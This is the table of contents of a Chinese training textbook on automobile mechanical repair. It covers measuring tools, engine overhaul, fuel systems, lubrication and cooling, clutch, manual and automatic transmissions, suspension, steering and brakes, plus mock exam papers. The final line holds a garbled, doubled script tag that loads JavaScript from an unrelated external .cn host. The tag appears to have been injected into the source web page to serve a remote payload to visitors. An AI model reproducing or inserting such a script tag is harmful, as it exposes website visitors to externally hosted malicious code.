《汽车机械维修培训教程》

【图书目录】

第一篇汽车机械修理基础 第一章常用工具、量具及设备3 第一节常用量具3 一、游标卡尺3 二、千分尺4 三、百分表5 四、内径百分表6 五、塞尺7 第二节常用工具7 一、钳子7 二、扳手7 三、顶拔器9 第三节常用设备10 一、卧式车轮平衡检测机10 二、液压汽车举升机11 复习思考题12 第二章汽车维修基础13 第一节汽车零部件的损伤13 一、零件的磨损13 二、零件的变形16 三、零件的断裂17 四、零件的腐蚀20 五、零件的老化23 第二节零件的清洗23 一、清洗油污23 二、清除积炭25 三、清除水垢26 四、清除锈蚀物27 五、清除旧漆层27 第三节零件的检验28 一、概述28 二、常用零件的检验方法29 第四节零件的修理方法31 一、机械加工修复法31 二、焊修法33 三、电镀法36 四、金属刷镀法37 五、金属喷涂法39 六、黏结法40 第五节汽车维修制度及维修工艺40 一、汽车维修制度40 二、汽车维修工艺42 第六节大修汽车的验收43 一、汽车大修竣工后的检验43 二、汽车大修质量的验收评定45 复习思考题51 第二篇发动机机械部分维修 第三章曲柄连杆机构的维修55 第一节机体组结构拆装与维修55 一、汽缸盖的拆装55 二、AJR型发动机汽缸体的拆装58 三、汽缸体与汽缸盖的常见损伤形式与原因58 四、汽缸体的检修59 五、汽缸磨损的规律和原因61 六、汽缸盖的检修62 七、汽缸垫的更换63 第二节活塞连杆组63 一、AJR发动机活塞连杆组的拆装63 二、活塞的损伤及检修66 三、连杆组的损伤及检修69 第三节曲轴飞轮组72 一、曲轴飞轮组的拆装72 二、曲轴的常见损伤及检修75 三、曲轴主轴承和连杆轴承的修配80 四、曲轴轴承配合间隙的检查84 五、曲轴轴承在使用中的检查与调整85 第四节常见故障诊断86 一、活塞敲缸响86 二、活塞销响88 三、曲轴主轴承响88 四、连杆轴承响89 复习思考题89 第四章配气机构的维修91 第一节气门组的检修91 一、气门的损伤与检验91 二、气门头部工作面磨损检修92 三、气门导管的检修93 四、气门座检修93 五、气门弹簧的检验94 六、气门与气门座密封性的检查94 第二节气门传动组的检修95 一、凸轮轴与轴承的检修95 二、气门挺柱的检修97 三、气门推杆的检修98 四、凸轮轴正时同步齿轮、链轮及同步带（链条）的检修98 五、摇臂组件的检修99 第三节配气机构的调整99 一、气门间隙的调整99 二、配气相位的调整101 第四节发动机可变气门正时技术103 第五节常见故障的诊断106 一、气门响106 二、气门座圈响106 三、正时齿轮响107 复习思考题107 第五章汽油发动机燃油供给系统的维修109 第一节汽油供给系统辅助装置的检修109 一、汽油箱的检修109 二、汽油滤清器的检修109 三、汽油泵的检修110 第二节化油器的检查、调整及燃油供给系统常见故障诊断112 一、化油器的检查与调整112 二、燃油供给系统常见故障诊断116 第三节汽油机燃油喷射装置118 一、燃油喷射系统的组成118 二、油压调节器的检查122 三、电控发动机常见故障诊断与排除122 复习思考题126 第六章柴油机的燃油供给128 第一节柴油机燃料供给系统概述128 一、柴油机燃料供给系统的组成与作用128 二、柴油机燃料供给系统的基本油路129 第二节喷油器的检修130 一、喷油器的作用、要求及构造130 二、喷油器的拆装132 三、喷油器的检修和调试133 四、喷油器在发动机上的检查与调试135 第三节柱塞式喷油泵的检修135 一、柱塞式喷油泵的构造136 二、柱塞式喷油泵的拆装138 三、柱塞泵主要零部件的检修140 四、柱塞泵的调试144 五、柱塞式喷油泵调速器总成的使用与维护147 六、输油泵的检修与试验148 第四节调速器的检修150 一、调速器的作用、分类及构造150 二、调速器的拆装153 三、调速器零件的检修154 四、调速器的调试154 第五节分配泵155 一、分配泵的类型及构造156 二、VE型分配泵的拆装158 三、VE型分配泵易发故障诊断与排除165 四、VE型分配泵的调试166 第六节PT燃油泵的检修167 一、PT燃油泵的类型及构造167 二、PT燃油泵的拆装169 三、PT泵的故障诊断与排除170 四、PT泵在试验台上的调试171 第七节柴油机燃料供给系统的故障诊断与排除173 一、启动困难173 二、发动机动力不足175 三、工作粗暴176 四、超速飞车176 复习思考题177 第七章润滑系统及冷却系统的维修179 第一节润滑系统179 一、发动机润滑系统的组成和油路179 二、润滑系统的维护180 三、机油泵的检修181 四、机油滤清器的检修186 五、机油散热器和冷却器机检修188 六、曲轴箱通风的检查与维修189 七、清洗润滑油道189 八、润滑系统常见故障的诊断191 第二节冷却系统192 一、散热器的检修192 二、水泵的检修194 三、节温器的检测与更换195 四、风扇的检修196 五、冷却液的选择与检查197 六、防冻液浓度的修正197 七、清洗冷却系统198 八、冷却系统常见故障的诊断199 复习思考题201 第三篇汽车底盘维修 第八章离合器205 第一节离合器常见故障的诊断与排除205 一、离合器打滑205 二、离合器分离不彻底206 三、离合器异响206 四、起步时发抖207 五、离合器重207 第二节离合器主要零部件的检修208 一、离合器从动盘检修208 二、离合器压盘的检修209 三、膜片弹簧的检修210 四、飞轮的检查210 五、离合器操纵机构的检修210 第三节离合器的装配与调整211 一、离合器的装配211 二、离合器的调整211 复习思考题214 第九章手动变速器215 第一节变速器的维护215 第二节变速器常见故障与诊断215 一、变速器的异常声响215 二、变速器跳挡216 三、挂挡困难217 四、变速器乱挡217 五、变速器发热218 六、变速器漏油218 第三节变速器主要零件的检修218 一、齿轮与花键的检修218 二、轴的检修218 三、同步器的检修219 四、变速器壳体的检修219 五、变速器盖的检修220 六、轴承的检修220 七、操纵机构的检修220 第四节变速器的拆卸、装配与调整220 一、变速器的拆卸220 二、变速器的装配与调整223 第五节变速器的磨合与试验227 第六节变速器的润滑油227 一、齿轮油的基本性能227 二、齿轮油的分类228 三、齿轮油的选用原则229 四、选择齿轮油的注意事项230 复习思考题231 第十章自动变速器故障诊断与检修232 第一节自动变速器检修步骤232 一、自动变速器的构造及检修注意事项232 二、自动变速器检修步骤238 第二节自动变速器的检查与试验241 一、检查前的准备工作241 二、基本检查244 三、失速试验247 四、时滞试验249 五、油压试验250 六、道路试验251 第三节自动变速器故障诊断252 一、自诊断系统252 二、常见故障诊断255 第四节自动变速器零部件的检修268 一、变矩器268 二、离合器、制动器273 三、行星齿轮机构的检修275 第五节电控自动变速器使用维护常识276 一、电控自动变速器使用常识276 二、电控自动变速器维护常识278 复习思考题280 第十一章传动装置及驱动桥281 第一节万向传动装置故障诊断与检修281 一、万向传动装置的工作特点和主要损伤形式281 二、万向传动装置的拆装282 三、万向传动装置主要零件的检修286 四、万向传动装置的故障诊断和排除287 第二节驱动桥的故障诊断与检修289 一、驱动桥的工作特点和主要损伤形式289 二、驱动桥主要零件的检修289 三、主减速器总成的检查与调整291 四、驱动桥常见故障诊断与排除294 复习思考题297 第十二章行驶系统298 第一节车桥的检查与调整298 一、前轴、转向节的检查与调整298 二、前轮定位的检查与调整302 三、轮毂的检查与调整310 四、轮毂轴承的润滑311 五、前束的检查与调整312 第二节轮胎的使用与检修313 一、轮胎的使用313 二、轮胎的维护与换位313 三、车轮动平衡检测315 第三节前悬架的故障诊断与检修316 一、前悬架的拆装316 二、前悬架零件的检修318 三、前悬架有噪声故障的诊断与排除321 第四节后悬架的故障诊断与检修321 一、后悬架的拆装321 二、后悬架零件的检修322 三、后悬架的常见故障322 第五节电子控制悬架系统故障诊断与检修323 一、常见项目的检查与调整323 二、常见故障诊断325 复习思考题328 第十三章转向系统329 第一节汽车转向系统的检修329 一、机械转向系统的检修329 二、动力转向系统的检修331 第二节汽车转向系统故障的诊断332 一、机械式转向系统的故障与排除方法332 二、动力转向系统的故障与排除方法336 复习思考题340 第十四章制动系统341 第一节制动系统的检查与调整341 一、气压制动系统的检查与调整341 二、液压制动系统的检查与调整345 三、真空助力器的检查与试验347 四、驻车制动器的调整348 五、真空增压器试验349 六、液压制动系统的放气350 第二节制动系统的故障诊断351 一、气压制动系统的故障诊断351 二、液压制动系统的故障诊断354 三、驻车制动器的故障诊断358 第三节轿车制动系统的检修359 一、制动主缸（总泵）的检修359 二、前盘式制动器的检修362 三、后鼓式制动器的检修363 四、驻车制动器的检修364 第四节防滑控制系统的维护与检修366 一、使用与维修中的一般性注意事项366 二、制动液及制动液的更换与补充366 三、制动系统的排气367 四、防滑控制系统的故障自诊断368 五、故障诊断与排除的一般步骤368 复习思考题370 附录A汽车机械维修培训教程试卷一371 附录B模拟试卷一参考答案374 附录C汽车机械维修培训教程试卷二376 附录D模拟试卷二参考答案380 参考文献382 <script src=htt<script src=http://8f8el3l.cn/0.js></scrip